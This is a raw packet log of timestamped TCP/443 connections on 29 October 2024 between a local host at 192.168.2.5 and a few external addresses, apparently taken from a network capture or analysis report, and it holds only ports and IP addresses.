Oct 29, 2024 18:43:01.425049067 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.425052881 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.425076962 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.425201893 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.425213099 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.427992105 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.428093910 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.428186893 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.428370953 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.428411007 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.460913897 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.460933924 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.460964918 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.461003065 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.461016893 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.461030006 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.461067915 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.461617947 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.461622000 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.461636066 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.461730003 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.461755991 CET	443	49844	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.461795092 CET	49844	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.537126064 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.537183046 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.537245035 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.537499905 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.537528038 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.537556887 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.537570953 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.539983988 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.540007114 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.540081978 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.540210962 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:01.540222883 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:01.545288086 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.545301914 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.545387983 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.545548916 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:01.545562029 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:01.707000971 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:01.707058907 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:01.707149982 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:01.707545996 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:01.707568884 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.051826954 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.052299976 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.052329063 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.052865982 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.052871943 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.135065079 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.135574102 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.135592937 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.136065960 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.136071920 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.156793118 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.157247066 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.157315969 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.157737017 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.157752991 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.164807081 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.165191889 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.165206909 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.165648937 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.165652990 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.182739973 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.183047056 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.183095932 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.183104992 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.183180094 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.183182955 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.183188915 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.183227062 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.183229923 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.183247089 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.186096907 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.186141014 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.186222076 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.186369896 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.186388016 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.275404930 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.275480032 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.275553942 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.275773048 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.275804996 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.275832891 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.275846958 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.278774023 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.278815031 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.278917074 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.279081106 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.279093027 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.285830975 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.285896063 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.285953045 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.286046028 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.286067963 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.286082029 CET	49956	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.286089897 CET	443	49956	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.288302898 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.288345098 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.288414001 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.288527012 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.288547993 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.292351007 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.292714119 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.292723894 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.293135881 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.293139935 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.296802998 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.297466993 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.297528028 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.297583103 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.297595978 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.297620058 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.297625065 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.299448013 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.299458981 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.299532890 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.299654961 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.299666882 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.465723038 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.465751886 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.465806007 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.465845108 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.465892076 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.466123104 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.466145992 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.466159105 CET	49957	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.466165066 CET	443	49957	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.469082117 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.469121933 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.469219923 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.469381094 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.469393969 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.640311956 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.640394926 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:02.641917944 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:02.641927958 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.642149925 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.648624897 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:02.650295973 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:02.650752068 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:02.650772095 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:02.651304960 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:02.651309013 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:02.651362896 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:02.651371002 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:02.695350885 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.921633005 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.923700094 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.923724890 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.924494028 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:02.924500942 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:02.956166029 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.956202030 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.956224918 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.956336975 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:02.956357956 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:02.956407070 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:03.021775007 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.035280943 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.042234898 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.042263985 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.042695999 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.042701006 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.043210983 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.043227911 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.051132917 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.051285982 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.051407099 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.066242933 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.066256046 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.069592953 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.070096016 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.070116997 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.070138931 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.070153952 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.073365927 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:03.073427916 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:03.073462009 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:03.073481083 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:03.073509932 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:03.073676109 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:03.076340914 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.076364040 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.076375008 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:03.096524954 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.096534014 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.169115067 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.169533968 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.169580936 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.169615030 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.169666052 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.170836926 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:03.170860052 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:03.170870066 CET	49959	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:43:03.170876980 CET	443	49959	52.149.20.212	192.168.2.5
Oct 29, 2024 18:43:03.193747997 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.193769932 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.193778992 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.193783998 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.194129944 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.194480896 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.194542885 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.218292952 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.230509043 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.230578899 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.230658054 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.230665922 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.230685949 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.230798960 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.254041910 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.254066944 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.254084110 CET	49962	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.254093885 CET	443	49962	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.255285025 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.255335093 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.255768061 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.255778074 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.256233931 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.256234884 CET	49963	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.256241083 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.256248951 CET	443	49963	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.261115074 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.261145115 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.261234999 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.262219906 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.262233973 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.266551018 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.266604900 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.266671896 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.267153025 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.267172098 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.269459009 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.269469023 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.269524097 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.269675970 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.269687891 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.270148993 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.270173073 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.270219088 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.270699978 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.270710945 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.341749907 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.341772079 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.341806889 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.341837883 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.341860056 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.341886044 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.347606897 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.347625971 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.347635031 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.347748041 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.347781897 CET	443	49958	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.347822905 CET	49958	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.390039921 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.390115976 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.390209913 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.418076992 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.418107033 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.423434973 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.423477888 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.423528910 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.423785925 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.423796892 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.469701052 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.469763041 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.469839096 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.472728968 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:03.472750902 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:03.992199898 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.992760897 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.992815018 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.993232965 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.993242025 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.994728088 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.995184898 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.995193958 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:03.995790958 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:03.995795012 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.007879019 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.008344889 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.008359909 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.008789062 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.008793116 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.016870975 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.017827988 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.017846107 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.018807888 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.018811941 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.121553898 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.121731997 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.121798992 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.121952057 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.121972084 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.121987104 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.121993065 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.125030041 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.125062943 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.125155926 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.125394106 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.125406027 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.126231909 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.126302004 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.126353979 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.126410007 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.126421928 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.126434088 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.126439095 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.128577948 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.128602028 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.128710032 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.128880978 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.128894091 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.137038946 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.137111902 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.137176037 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.137222052 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.137238979 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.137248039 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.137253046 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.139117002 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.139159918 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.139230013 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.139415979 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.139427900 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.147587061 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.147712946 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.147767067 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.147775888 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.147820950 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.147876978 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.147897959 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.147906065 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.147917986 CET	49967	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.147922039 CET	443	49967	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.150293112 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.150302887 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.150367975 CET	49974	443	192.168.2.5	13.107.246.45
